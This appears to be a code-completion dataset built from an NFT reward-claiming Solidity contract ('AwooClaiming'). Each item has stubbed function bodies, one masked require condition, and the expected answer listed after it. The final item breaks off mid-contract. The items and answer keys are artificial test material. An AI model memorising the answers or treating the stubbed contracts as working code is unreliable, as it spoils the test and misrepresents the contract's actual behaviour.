function setAccrualEndTimestamp(uint256 timestamp) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to add a contract whose tokens are eligible to accrue virtual AWOO
/// @param contractAddress The contract address of the collection (typically ERC-721, with the addition of the tokensOfOwner function)
/// @param baseRate The base accrual rate in wei units
function addSupportedContract(address contractAddress, uint256 baseRate) external onlyOwnerOrAdmin isValidBaseRate(baseRate) {
}
/// @notice Allows the owner or an admin to deactivate a supported contract so it no longer accrues virtual AWOO
/// @param contractAddress The contract address that should be deactivated
function deactivateSupportedContract(address contractAddress) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to authorize another contract to override token accruals on an individual token level
/// @param contractAddress The authorized contract address
function addAuthorizedContract(address contractAddress) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to remove an authorized contract
/// @param contractAddress The contract address which should have its authorization revoked
function removeAuthorizedContract(address contractAddress) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to set the base accrual rate for a support contract
/// @param contractAddress The address of the supported contract
/// @param baseRate The new base accrual rate in wei units
function setBaseRate(address contractAddress, uint256 baseRate) external onlyOwnerOrAdmin isValidBaseRate(baseRate) {
}
/// @notice Allows the owner to specify two addresses allowed to administer this contract
/// @param adminAddresses A 2 item array of addresses
function setAdmins(address[2] calldata adminAddresses) external onlyOwner {
}
/// @notice Allows the owner or an admin to activate/deactivate claiming ability
/// @param active The value specifiying whether or not claiming should be allowed
function setClaimingActive(bool active) external onlyOwnerOrAdmin {
}
/// @dev Derived from @openzeppelin/contracts/utils/Address.sol
function isContract(address account) private view returns (bool) {
}
/// @notice Determines whether or not the caller holds tokens for any of the supported contracts
function isValidHolder() private view returns(bool) {
}
modifier onlyAuthorizedContract() {
}
modifier onlyOwnerOrAdmin() {
}
/// @dev To minimize the amount of unit conversion we have to do for comparing $AWOO (ERC-20) to virtual AWOO, we store
/// virtual AWOO with 18 implied decimal places, so this modifier prevents us from accidentally using the wrong unit
/// for base rates. For example, if holders of FangGang NFTs accrue at a rate of 1000 AWOO per fang, pre day, then
/// the base rate should be 1000000000000000000000
modifier isValidBaseRate(uint256 baseRate) {
}
}
| isValidHolder(),"No supported tokens held" | 229,553 | isValidHolder() |
"Inactive contract" | pragma solidity 0.8.12;
pragma experimental ABIEncoderV2;
interface ISupportedContract {
function tokensOfOwner(address owner) external view returns (uint256[] memory);
function balanceOf(address owner) external view returns (uint256);
function ownerOf(uint256 tokenId) external view returns (address);
function exists(uint256 tokenId) external view returns (bool);
}
contract AwooClaiming is IAwooClaiming, Ownable, ReentrancyGuard {
uint256 public accrualStart = 1646006400; //2022-02-28 00:00 UTC
uint256 public accrualEnd;
bool public claimingActive;
/// @dev A collection of supported contracts. These are typically ERC-721, with the addition of the tokensOfOwner function.
/// @dev These contracts can be deactivated but cannot be re-activated. Reactivating can be done by adding the same
/// contract through addSupportedContract
SupportedContractDetails[] public supportedContracts;
/// @dev Keeps track of the last time a claim was made for each tokenId within the supported contract collection
mapping(address => mapping(uint256 => uint256)) public lastClaims;
/// @dev Allows the base accrual rates to be overridden on a per-tokenId level to support things like upgrades
mapping(address => mapping(uint256 => uint256)) public baseRateTokenOverrides;
address[2] private _admins;
bool private _adminsSet;
IAwooToken private _awooContract;
/// @dev Base accrual rates are set a per-day rate so we change them to per-minute to allow for more frequent claiming
uint64 private _baseRateDivisor = 1440;
/// @dev Faciliates the maintence and functionality related to supportedContracts
uint8 private _activeSupportedContractCount;
mapping(address => uint8) private _supportedContractIds;
/// @dev Keeps track of which contracts are explicitly allowed to override the base accrual rates
mapping(address => bool) private _authorizedContracts;
event TokensClaimed(address indexed claimedBy, uint256 qty);
event ClaimingStatusChanged(bool newStatus, address changedBy);
event AuthorizedContractAdded(address contractAddress, address addedBy);
event AuthorizedContractRemoved(address contractAddress, address removedBy);
constructor(uint256 accrualStartTimestamp) {
}
/// @notice Determines the amount of accrued virtual AWOO for the specified address, based on the
/// base accural rates for each supported contract and how long has elapsed (in minutes) since the
/// last claim was made for a give supported contract tokenId
/// @param owner The address of the owner/holder of tokens for a supported contract
/// @return A collection of accrued virtual AWOO and the tokens it was accrued on for each supported contract, and the total AWOO accrued
function getTotalAccruals(address owner) public view returns (AccrualDetails[] memory, uint256) {
}
/// @notice Claims all virtual AWOO accrued by the message sender, assuming the sender holds any supported contracts tokenIds
function claimAll() external nonReentrant {
}
/// @notice Claims the accrued virtual AWOO from the specified supported contract tokenIds
/// @param requestedClaims A collection of supported contract addresses and the specific tokenIds to claim from
function claim(ClaimDetails[] calldata requestedClaims) external nonReentrant {
}
/// @dev Calculates the accrued amount of virtual AWOO for the specified supported contract and tokenId
function getContractTokenAccruals(address contractAddress, uint256 contractBaseRate, uint32 tokenId) private view returns(uint256){
}
/// @notice Allows an authorized contract to increase the base accrual rate for particular NFTs
/// when, for example, upgrades for that NFT were purchased
/// @param contractAddress The address of the supported contract
/// @param tokenId The id of the token from the supported contract whose base accrual rate will be updated
/// @param newBaseRate The new accrual base rate
function overrideTokenAccrualBaseRate(address contractAddress, uint32 tokenId, uint256 newBaseRate)
external onlyAuthorizedContract isValidBaseRate(newBaseRate) {
require(tokenId > 0, "Invalid tokenId");
uint8 contractId = _supportedContractIds[contractAddress];
require(contractId > 0, "Unsupported contract");
require(<FILL_ME>)
baseRateTokenOverrides[contractAddress][tokenId] = (newBaseRate/_baseRateDivisor);
}
/// @notice Allows the owner or an admin to set a reference to the $AWOO ERC-20 contract
/// @param awooToken An instance of IAwooToken
function setAwooTokenContract(IAwooToken awooToken) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to set the date and time at which virtual AWOO accruing will stop
/// @notice This will only be used if absolutely necessary and any AWOO that accrued before the end date will still be claimable
/// @param timestamp The Epoch time at which accrual should end
function setAccrualEndTimestamp(uint256 timestamp) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to add a contract whose tokens are eligible to accrue virtual AWOO
/// @param contractAddress The contract address of the collection (typically ERC-721, with the addition of the tokensOfOwner function)
/// @param baseRate The base accrual rate in wei units
function addSupportedContract(address contractAddress, uint256 baseRate) external onlyOwnerOrAdmin isValidBaseRate(baseRate) {
}
/// @notice Allows the owner or an admin to deactivate a supported contract so it no longer accrues virtual AWOO
/// @param contractAddress The contract address that should be deactivated
function deactivateSupportedContract(address contractAddress) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to authorize another contract to override token accruals on an individual token level
/// @param contractAddress The authorized contract address
function addAuthorizedContract(address contractAddress) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to remove an authorized contract
/// @param contractAddress The contract address which should have its authorization revoked
function removeAuthorizedContract(address contractAddress) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to set the base accrual rate for a support contract
/// @param contractAddress The address of the supported contract
/// @param baseRate The new base accrual rate in wei units
function setBaseRate(address contractAddress, uint256 baseRate) external onlyOwnerOrAdmin isValidBaseRate(baseRate) {
}
/// @notice Allows the owner to specify two addresses allowed to administer this contract
/// @param adminAddresses A 2 item array of addresses
function setAdmins(address[2] calldata adminAddresses) external onlyOwner {
}
/// @notice Allows the owner or an admin to activate/deactivate claiming ability
/// @param active The value specifiying whether or not claiming should be allowed
function setClaimingActive(bool active) external onlyOwnerOrAdmin {
}
/// @dev Derived from @openzeppelin/contracts/utils/Address.sol
function isContract(address account) private view returns (bool) {
}
/// @notice Determines whether or not the caller holds tokens for any of the supported contracts
function isValidHolder() private view returns(bool) {
}
modifier onlyAuthorizedContract() {
}
modifier onlyOwnerOrAdmin() {
}
/// @dev To minimize the amount of unit conversion we have to do for comparing $AWOO (ERC-20) to virtual AWOO, we store
/// virtual AWOO with 18 implied decimal places, so this modifier prevents us from accidentally using the wrong unit
/// for base rates. For example, if holders of FangGang NFTs accrue at a rate of 1000 AWOO per fang, pre day, then
/// the base rate should be 1000000000000000000000
modifier isValidBaseRate(uint256 baseRate) {
}
}
| supportedContracts[contractId-1].Active,"Inactive contract" | 229,553 | supportedContracts[contractId-1].Active |
"Contract already supported" | pragma solidity 0.8.12;
pragma experimental ABIEncoderV2;
interface ISupportedContract {
function tokensOfOwner(address owner) external view returns (uint256[] memory);
function balanceOf(address owner) external view returns (uint256);
function ownerOf(uint256 tokenId) external view returns (address);
function exists(uint256 tokenId) external view returns (bool);
}
contract AwooClaiming is IAwooClaiming, Ownable, ReentrancyGuard {
uint256 public accrualStart = 1646006400; //2022-02-28 00:00 UTC
uint256 public accrualEnd;
bool public claimingActive;
/// @dev A collection of supported contracts. These are typically ERC-721, with the addition of the tokensOfOwner function.
/// @dev These contracts can be deactivated but cannot be re-activated. Reactivating can be done by adding the same
/// contract through addSupportedContract
SupportedContractDetails[] public supportedContracts;
/// @dev Keeps track of the last time a claim was made for each tokenId within the supported contract collection
mapping(address => mapping(uint256 => uint256)) public lastClaims;
/// @dev Allows the base accrual rates to be overridden on a per-tokenId level to support things like upgrades
mapping(address => mapping(uint256 => uint256)) public baseRateTokenOverrides;
address[2] private _admins;
bool private _adminsSet;
IAwooToken private _awooContract;
/// @dev Base accrual rates are set a per-day rate so we change them to per-minute to allow for more frequent claiming
uint64 private _baseRateDivisor = 1440;
/// @dev Faciliates the maintence and functionality related to supportedContracts
uint8 private _activeSupportedContractCount;
mapping(address => uint8) private _supportedContractIds;
/// @dev Keeps track of which contracts are explicitly allowed to override the base accrual rates
mapping(address => bool) private _authorizedContracts;
event TokensClaimed(address indexed claimedBy, uint256 qty);
event ClaimingStatusChanged(bool newStatus, address changedBy);
event AuthorizedContractAdded(address contractAddress, address addedBy);
event AuthorizedContractRemoved(address contractAddress, address removedBy);
constructor(uint256 accrualStartTimestamp) {
}
/// @notice Determines the amount of accrued virtual AWOO for the specified address, based on the
/// base accural rates for each supported contract and how long has elapsed (in minutes) since the
/// last claim was made for a give supported contract tokenId
/// @param owner The address of the owner/holder of tokens for a supported contract
/// @return A collection of accrued virtual AWOO and the tokens it was accrued on for each supported contract, and the total AWOO accrued
function getTotalAccruals(address owner) public view returns (AccrualDetails[] memory, uint256) {
}
/// @notice Claims all virtual AWOO accrued by the message sender, assuming the sender holds any supported contracts tokenIds
function claimAll() external nonReentrant {
}
/// @notice Claims the accrued virtual AWOO from the specified supported contract tokenIds
/// @param requestedClaims A collection of supported contract addresses and the specific tokenIds to claim from
function claim(ClaimDetails[] calldata requestedClaims) external nonReentrant {
}
/// @dev Calculates the accrued amount of virtual AWOO for the specified supported contract and tokenId
function getContractTokenAccruals(address contractAddress, uint256 contractBaseRate, uint32 tokenId) private view returns(uint256){
}
/// @notice Allows an authorized contract to increase the base accrual rate for particular NFTs
/// when, for example, upgrades for that NFT were purchased
/// @param contractAddress The address of the supported contract
/// @param tokenId The id of the token from the supported contract whose base accrual rate will be updated
/// @param newBaseRate The new accrual base rate
function overrideTokenAccrualBaseRate(address contractAddress, uint32 tokenId, uint256 newBaseRate)
external onlyAuthorizedContract isValidBaseRate(newBaseRate) {
}
/// @notice Allows the owner or an admin to set a reference to the $AWOO ERC-20 contract
/// @param awooToken An instance of IAwooToken
function setAwooTokenContract(IAwooToken awooToken) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to set the date and time at which virtual AWOO accruing will stop
/// @notice This will only be used if absolutely necessary and any AWOO that accrued before the end date will still be claimable
/// @param timestamp The Epoch time at which accrual should end
function setAccrualEndTimestamp(uint256 timestamp) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to add a contract whose tokens are eligible to accrue virtual AWOO
/// @param contractAddress The contract address of the collection (typically ERC-721, with the addition of the tokensOfOwner function)
/// @param baseRate The base accrual rate in wei units
function addSupportedContract(address contractAddress, uint256 baseRate) external onlyOwnerOrAdmin isValidBaseRate(baseRate) {
require(isContract(contractAddress), "Invalid contractAddress");
require(<FILL_ME>)
supportedContracts.push(SupportedContractDetails(contractAddress, baseRate/_baseRateDivisor, true));
_supportedContractIds[contractAddress] = uint8(supportedContracts.length);
_activeSupportedContractCount++;
}
/// @notice Allows the owner or an admin to deactivate a supported contract so it no longer accrues virtual AWOO
/// @param contractAddress The contract address that should be deactivated
function deactivateSupportedContract(address contractAddress) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to authorize another contract to override token accruals on an individual token level
/// @param contractAddress The authorized contract address
function addAuthorizedContract(address contractAddress) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to remove an authorized contract
/// @param contractAddress The contract address which should have its authorization revoked
function removeAuthorizedContract(address contractAddress) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to set the base accrual rate for a support contract
/// @param contractAddress The address of the supported contract
/// @param baseRate The new base accrual rate in wei units
function setBaseRate(address contractAddress, uint256 baseRate) external onlyOwnerOrAdmin isValidBaseRate(baseRate) {
}
/// @notice Allows the owner to specify two addresses allowed to administer this contract
/// @param adminAddresses A 2 item array of addresses
function setAdmins(address[2] calldata adminAddresses) external onlyOwner {
}
/// @notice Allows the owner or an admin to activate/deactivate claiming ability
/// @param active The value specifiying whether or not claiming should be allowed
function setClaimingActive(bool active) external onlyOwnerOrAdmin {
}
/// @dev Derived from @openzeppelin/contracts/utils/Address.sol
function isContract(address account) private view returns (bool) {
}
/// @notice Determines whether or not the caller holds tokens for any of the supported contracts
function isValidHolder() private view returns(bool) {
}
modifier onlyAuthorizedContract() {
}
modifier onlyOwnerOrAdmin() {
}
/// @dev To minimize the amount of unit conversion we have to do for comparing $AWOO (ERC-20) to virtual AWOO, we store
/// virtual AWOO with 18 implied decimal places, so this modifier prevents us from accidentally using the wrong unit
/// for base rates. For example, if holders of FangGang NFTs accrue at a rate of 1000 AWOO per fang, pre day, then
/// the base rate should be 1000000000000000000000
modifier isValidBaseRate(uint256 baseRate) {
}
}
| _supportedContractIds[contractAddress]==0,"Contract already supported" | 229,553 | _supportedContractIds[contractAddress]==0 |
"Unsupported contract" | pragma solidity 0.8.12;
pragma experimental ABIEncoderV2;
interface ISupportedContract {
function tokensOfOwner(address owner) external view returns (uint256[] memory);
function balanceOf(address owner) external view returns (uint256);
function ownerOf(uint256 tokenId) external view returns (address);
function exists(uint256 tokenId) external view returns (bool);
}
contract AwooClaiming is IAwooClaiming, Ownable, ReentrancyGuard {
uint256 public accrualStart = 1646006400; //2022-02-28 00:00 UTC
uint256 public accrualEnd;
bool public claimingActive;
/// @dev A collection of supported contracts. These are typically ERC-721, with the addition of the tokensOfOwner function.
/// @dev These contracts can be deactivated but cannot be re-activated. Reactivating can be done by adding the same
/// contract through addSupportedContract
SupportedContractDetails[] public supportedContracts;
/// @dev Keeps track of the last time a claim was made for each tokenId within the supported contract collection
mapping(address => mapping(uint256 => uint256)) public lastClaims;
/// @dev Allows the base accrual rates to be overridden on a per-tokenId level to support things like upgrades
mapping(address => mapping(uint256 => uint256)) public baseRateTokenOverrides;
address[2] private _admins;
bool private _adminsSet;
IAwooToken private _awooContract;
/// @dev Base accrual rates are set a per-day rate so we change them to per-minute to allow for more frequent claiming
uint64 private _baseRateDivisor = 1440;
/// @dev Faciliates the maintence and functionality related to supportedContracts
uint8 private _activeSupportedContractCount;
mapping(address => uint8) private _supportedContractIds;
/// @dev Keeps track of which contracts are explicitly allowed to override the base accrual rates
mapping(address => bool) private _authorizedContracts;
event TokensClaimed(address indexed claimedBy, uint256 qty);
event ClaimingStatusChanged(bool newStatus, address changedBy);
event AuthorizedContractAdded(address contractAddress, address addedBy);
event AuthorizedContractRemoved(address contractAddress, address removedBy);
constructor(uint256 accrualStartTimestamp) {
}
/// @notice Determines the amount of accrued virtual AWOO for the specified address, based on the
/// base accural rates for each supported contract and how long has elapsed (in minutes) since the
/// last claim was made for a give supported contract tokenId
/// @param owner The address of the owner/holder of tokens for a supported contract
/// @return A collection of accrued virtual AWOO and the tokens it was accrued on for each supported contract, and the total AWOO accrued
function getTotalAccruals(address owner) public view returns (AccrualDetails[] memory, uint256) {
}
/// @notice Claims all virtual AWOO accrued by the message sender, assuming the sender holds any supported contracts tokenIds
function claimAll() external nonReentrant {
}
/// @notice Claims the accrued virtual AWOO from the specified supported contract tokenIds
/// @param requestedClaims A collection of supported contract addresses and the specific tokenIds to claim from
function claim(ClaimDetails[] calldata requestedClaims) external nonReentrant {
}
/// @dev Calculates the accrued amount of virtual AWOO for the specified supported contract and tokenId
function getContractTokenAccruals(address contractAddress, uint256 contractBaseRate, uint32 tokenId) private view returns(uint256){
}
/// @notice Allows an authorized contract to increase the base accrual rate for particular NFTs
/// when, for example, upgrades for that NFT were purchased
/// @param contractAddress The address of the supported contract
/// @param tokenId The id of the token from the supported contract whose base accrual rate will be updated
/// @param newBaseRate The new accrual base rate
function overrideTokenAccrualBaseRate(address contractAddress, uint32 tokenId, uint256 newBaseRate)
external onlyAuthorizedContract isValidBaseRate(newBaseRate) {
}
/// @notice Allows the owner or an admin to set a reference to the $AWOO ERC-20 contract
/// @param awooToken An instance of IAwooToken
function setAwooTokenContract(IAwooToken awooToken) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to set the date and time at which virtual AWOO accruing will stop
/// @notice This will only be used if absolutely necessary and any AWOO that accrued before the end date will still be claimable
/// @param timestamp The Epoch time at which accrual should end
function setAccrualEndTimestamp(uint256 timestamp) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to add a contract whose tokens are eligible to accrue virtual AWOO
/// @param contractAddress The contract address of the collection (typically ERC-721, with the addition of the tokensOfOwner function)
/// @param baseRate The base accrual rate in wei units
function addSupportedContract(address contractAddress, uint256 baseRate) external onlyOwnerOrAdmin isValidBaseRate(baseRate) {
}
/// @notice Allows the owner or an admin to deactivate a supported contract so it no longer accrues virtual AWOO
/// @param contractAddress The contract address that should be deactivated
function deactivateSupportedContract(address contractAddress) external onlyOwnerOrAdmin {
require(<FILL_ME>)
supportedContracts[_supportedContractIds[contractAddress]-1].Active = false;
supportedContracts[_supportedContractIds[contractAddress]-1].BaseRate = 0;
_supportedContractIds[contractAddress] = 0;
_activeSupportedContractCount--;
}
/// @notice Allows the owner or an admin to authorize another contract to override token accruals on an individual token level
/// @param contractAddress The authorized contract address
function addAuthorizedContract(address contractAddress) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to remove an authorized contract
/// @param contractAddress The contract address which should have its authorization revoked
function removeAuthorizedContract(address contractAddress) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to set the base accrual rate for a support contract
/// @param contractAddress The address of the supported contract
/// @param baseRate The new base accrual rate in wei units
function setBaseRate(address contractAddress, uint256 baseRate) external onlyOwnerOrAdmin isValidBaseRate(baseRate) {
}
/// @notice Allows the owner to specify two addresses allowed to administer this contract
/// @param adminAddresses A 2 item array of addresses
function setAdmins(address[2] calldata adminAddresses) external onlyOwner {
}
/// @notice Allows the owner or an admin to activate/deactivate claiming ability
/// @param active The value specifiying whether or not claiming should be allowed
function setClaimingActive(bool active) external onlyOwnerOrAdmin {
}
/// @dev Derived from @openzeppelin/contracts/utils/Address.sol
function isContract(address account) private view returns (bool) {
}
/// @notice Determines whether or not the caller holds tokens for any of the supported contracts
function isValidHolder() private view returns(bool) {
}
modifier onlyAuthorizedContract() {
}
modifier onlyOwnerOrAdmin() {
}
/// @dev To minimize the amount of unit conversion we have to do for comparing $AWOO (ERC-20) to virtual AWOO, we store
/// virtual AWOO with 18 implied decimal places, so this modifier prevents us from accidentally using the wrong unit
/// for base rates. For example, if holders of FangGang NFTs accrue at a rate of 1000 AWOO per fang, pre day, then
/// the base rate should be 1000000000000000000000
modifier isValidBaseRate(uint256 baseRate) {
}
}
| _supportedContractIds[contractAddress]>0,"Unsupported contract" | 229,553 | _supportedContractIds[contractAddress]>0 |
"Invalid admin address" | pragma solidity 0.8.12;
pragma experimental ABIEncoderV2;
interface ISupportedContract {
function tokensOfOwner(address owner) external view returns (uint256[] memory);
function balanceOf(address owner) external view returns (uint256);
function ownerOf(uint256 tokenId) external view returns (address);
function exists(uint256 tokenId) external view returns (bool);
}
contract AwooClaiming is IAwooClaiming, Ownable, ReentrancyGuard {
uint256 public accrualStart = 1646006400; //2022-02-28 00:00 UTC
uint256 public accrualEnd;
bool public claimingActive;
/// @dev A collection of supported contracts. These are typically ERC-721, with the addition of the tokensOfOwner function.
/// @dev These contracts can be deactivated but cannot be re-activated. Reactivating can be done by adding the same
/// contract through addSupportedContract
SupportedContractDetails[] public supportedContracts;
/// @dev Keeps track of the last time a claim was made for each tokenId within the supported contract collection
mapping(address => mapping(uint256 => uint256)) public lastClaims;
/// @dev Allows the base accrual rates to be overridden on a per-tokenId level to support things like upgrades
mapping(address => mapping(uint256 => uint256)) public baseRateTokenOverrides;
address[2] private _admins;
bool private _adminsSet;
IAwooToken private _awooContract;
/// @dev Base accrual rates are set a per-day rate so we change them to per-minute to allow for more frequent claiming
uint64 private _baseRateDivisor = 1440;
/// @dev Faciliates the maintence and functionality related to supportedContracts
uint8 private _activeSupportedContractCount;
mapping(address => uint8) private _supportedContractIds;
/// @dev Keeps track of which contracts are explicitly allowed to override the base accrual rates
mapping(address => bool) private _authorizedContracts;
event TokensClaimed(address indexed claimedBy, uint256 qty);
event ClaimingStatusChanged(bool newStatus, address changedBy);
event AuthorizedContractAdded(address contractAddress, address addedBy);
event AuthorizedContractRemoved(address contractAddress, address removedBy);
constructor(uint256 accrualStartTimestamp) {
}
/// @notice Determines the amount of accrued virtual AWOO for the specified address, based on the
/// base accural rates for each supported contract and how long has elapsed (in minutes) since the
/// last claim was made for a give supported contract tokenId
/// @param owner The address of the owner/holder of tokens for a supported contract
/// @return A collection of accrued virtual AWOO and the tokens it was accrued on for each supported contract, and the total AWOO accrued
function getTotalAccruals(address owner) public view returns (AccrualDetails[] memory, uint256) {
}
/// @notice Claims all virtual AWOO accrued by the message sender, assuming the sender holds any supported contracts tokenIds
function claimAll() external nonReentrant {
}
/// @notice Claims the accrued virtual AWOO from the specified supported contract tokenIds
/// @param requestedClaims A collection of supported contract addresses and the specific tokenIds to claim from
function claim(ClaimDetails[] calldata requestedClaims) external nonReentrant {
}
/// @dev Calculates the accrued amount of virtual AWOO for the specified supported contract and tokenId
function getContractTokenAccruals(address contractAddress, uint256 contractBaseRate, uint32 tokenId) private view returns(uint256){
}
/// @notice Allows an authorized contract to increase the base accrual rate for particular NFTs
/// when, for example, upgrades for that NFT were purchased
/// @param contractAddress The address of the supported contract
/// @param tokenId The id of the token from the supported contract whose base accrual rate will be updated
/// @param newBaseRate The new accrual base rate
function overrideTokenAccrualBaseRate(address contractAddress, uint32 tokenId, uint256 newBaseRate)
external onlyAuthorizedContract isValidBaseRate(newBaseRate) {
}
/// @notice Allows the owner or an admin to set a reference to the $AWOO ERC-20 contract
/// @param awooToken An instance of IAwooToken
function setAwooTokenContract(IAwooToken awooToken) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to set the date and time at which virtual AWOO accruing will stop
/// @notice This will only be used if absolutely necessary and any AWOO that accrued before the end date will still be claimable
/// @param timestamp The Epoch time at which accrual should end
function setAccrualEndTimestamp(uint256 timestamp) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to add a contract whose tokens are eligible to accrue virtual AWOO
/// @param contractAddress The contract address of the collection (typically ERC-721, with the addition of the tokensOfOwner function)
/// @param baseRate The base accrual rate in wei units
function addSupportedContract(address contractAddress, uint256 baseRate) external onlyOwnerOrAdmin isValidBaseRate(baseRate) {
}
/// @notice Allows the owner or an admin to deactivate a supported contract so it no longer accrues virtual AWOO
/// @param contractAddress The contract address that should be deactivated
function deactivateSupportedContract(address contractAddress) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to authorize another contract to override token accruals on an individual token level
/// @param contractAddress The authorized contract address
function addAuthorizedContract(address contractAddress) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to remove an authorized contract
/// @param contractAddress The contract address which should have its authorization revoked
function removeAuthorizedContract(address contractAddress) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to set the base accrual rate for a support contract
/// @param contractAddress The address of the supported contract
/// @param baseRate The new base accrual rate in wei units
function setBaseRate(address contractAddress, uint256 baseRate) external onlyOwnerOrAdmin isValidBaseRate(baseRate) {
}
/// @notice Allows the owner to specify two addresses allowed to administer this contract
/// @param adminAddresses A 2 item array of addresses
function setAdmins(address[2] calldata adminAddresses) external onlyOwner {
require(<FILL_ME>)
_admins = adminAddresses;
_adminsSet = true;
}
/// @notice Allows the owner or an admin to activate/deactivate claiming ability
/// @param active The value specifiying whether or not claiming should be allowed
function setClaimingActive(bool active) external onlyOwnerOrAdmin {
}
/// @dev Derived from @openzeppelin/contracts/utils/Address.sol
function isContract(address account) private view returns (bool) {
}
/// @notice Determines whether or not the caller holds tokens for any of the supported contracts
function isValidHolder() private view returns(bool) {
}
modifier onlyAuthorizedContract() {
}
modifier onlyOwnerOrAdmin() {
}
/// @dev To minimize the amount of unit conversion we have to do for comparing $AWOO (ERC-20) to virtual AWOO, we store
/// virtual AWOO with 18 implied decimal places, so this modifier prevents us from accidentally using the wrong unit
/// for base rates. For example, if holders of FangGang NFTs accrue at a rate of 1000 AWOO per fang, pre day, then
/// the base rate should be 1000000000000000000000
modifier isValidBaseRate(uint256 baseRate) {
}
}
| adminAddresses[0]!=address(0)&&adminAddresses[1]!=address(0),"Invalid admin address" | 229,553 | adminAddresses[0]!=address(0)&&adminAddresses[1]!=address(0) |
"Sender is not authorized" | pragma solidity 0.8.12;
pragma experimental ABIEncoderV2;
interface ISupportedContract {
function tokensOfOwner(address owner) external view returns (uint256[] memory);
function balanceOf(address owner) external view returns (uint256);
function ownerOf(uint256 tokenId) external view returns (address);
function exists(uint256 tokenId) external view returns (bool);
}
contract AwooClaiming is IAwooClaiming, Ownable, ReentrancyGuard {
uint256 public accrualStart = 1646006400; //2022-02-28 00:00 UTC
uint256 public accrualEnd;
bool public claimingActive;
/// @dev A collection of supported contracts. These are typically ERC-721, with the addition of the tokensOfOwner function.
/// @dev These contracts can be deactivated but cannot be re-activated. Reactivating can be done by adding the same
/// contract through addSupportedContract
SupportedContractDetails[] public supportedContracts;
/// @dev Keeps track of the last time a claim was made for each tokenId within the supported contract collection
mapping(address => mapping(uint256 => uint256)) public lastClaims;
/// @dev Allows the base accrual rates to be overridden on a per-tokenId level to support things like upgrades
mapping(address => mapping(uint256 => uint256)) public baseRateTokenOverrides;
address[2] private _admins;
bool private _adminsSet;
IAwooToken private _awooContract;
/// @dev Base accrual rates are set a per-day rate so we change them to per-minute to allow for more frequent claiming
uint64 private _baseRateDivisor = 1440;
/// @dev Faciliates the maintence and functionality related to supportedContracts
uint8 private _activeSupportedContractCount;
mapping(address => uint8) private _supportedContractIds;
/// @dev Keeps track of which contracts are explicitly allowed to override the base accrual rates
mapping(address => bool) private _authorizedContracts;
event TokensClaimed(address indexed claimedBy, uint256 qty);
event ClaimingStatusChanged(bool newStatus, address changedBy);
event AuthorizedContractAdded(address contractAddress, address addedBy);
event AuthorizedContractRemoved(address contractAddress, address removedBy);
constructor(uint256 accrualStartTimestamp) {
}
/// @notice Determines the amount of accrued virtual AWOO for the specified address, based on the
/// base accural rates for each supported contract and how long has elapsed (in minutes) since the
/// last claim was made for a give supported contract tokenId
/// @param owner The address of the owner/holder of tokens for a supported contract
/// @return A collection of accrued virtual AWOO and the tokens it was accrued on for each supported contract, and the total AWOO accrued
function getTotalAccruals(address owner) public view returns (AccrualDetails[] memory, uint256) {
}
/// @notice Claims all virtual AWOO accrued by the message sender, assuming the sender holds any supported contracts tokenIds
function claimAll() external nonReentrant {
}
/// @notice Claims the accrued virtual AWOO from the specified supported contract tokenIds
/// @param requestedClaims A collection of supported contract addresses and the specific tokenIds to claim from
function claim(ClaimDetails[] calldata requestedClaims) external nonReentrant {
}
/// @dev Calculates the accrued amount of virtual AWOO for the specified supported contract and tokenId
function getContractTokenAccruals(address contractAddress, uint256 contractBaseRate, uint32 tokenId) private view returns(uint256){
}
/// @notice Allows an authorized contract to increase the base accrual rate for particular NFTs
/// when, for example, upgrades for that NFT were purchased
/// @param contractAddress The address of the supported contract
/// @param tokenId The id of the token from the supported contract whose base accrual rate will be updated
/// @param newBaseRate The new accrual base rate
function overrideTokenAccrualBaseRate(address contractAddress, uint32 tokenId, uint256 newBaseRate)
external onlyAuthorizedContract isValidBaseRate(newBaseRate) {
}
/// @notice Allows the owner or an admin to set a reference to the $AWOO ERC-20 contract
/// @param awooToken An instance of IAwooToken
function setAwooTokenContract(IAwooToken awooToken) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to set the date and time at which virtual AWOO accruing will stop
/// @notice This will only be used if absolutely necessary and any AWOO that accrued before the end date will still be claimable
/// @param timestamp The Epoch time at which accrual should end
function setAccrualEndTimestamp(uint256 timestamp) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to add a contract whose tokens are eligible to accrue virtual AWOO
/// @param contractAddress The contract address of the collection (typically ERC-721, with the addition of the tokensOfOwner function)
/// @param baseRate The base accrual rate in wei units
function addSupportedContract(address contractAddress, uint256 baseRate) external onlyOwnerOrAdmin isValidBaseRate(baseRate) {
}
/// @notice Allows the owner or an admin to deactivate a supported contract so it no longer accrues virtual AWOO
/// @param contractAddress The contract address that should be deactivated
function deactivateSupportedContract(address contractAddress) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to authorize another contract to override token accruals on an individual token level
/// @param contractAddress The authorized contract address
function addAuthorizedContract(address contractAddress) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to remove an authorized contract
/// @param contractAddress The contract address which should have its authorization revoked
function removeAuthorizedContract(address contractAddress) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to set the base accrual rate for a support contract
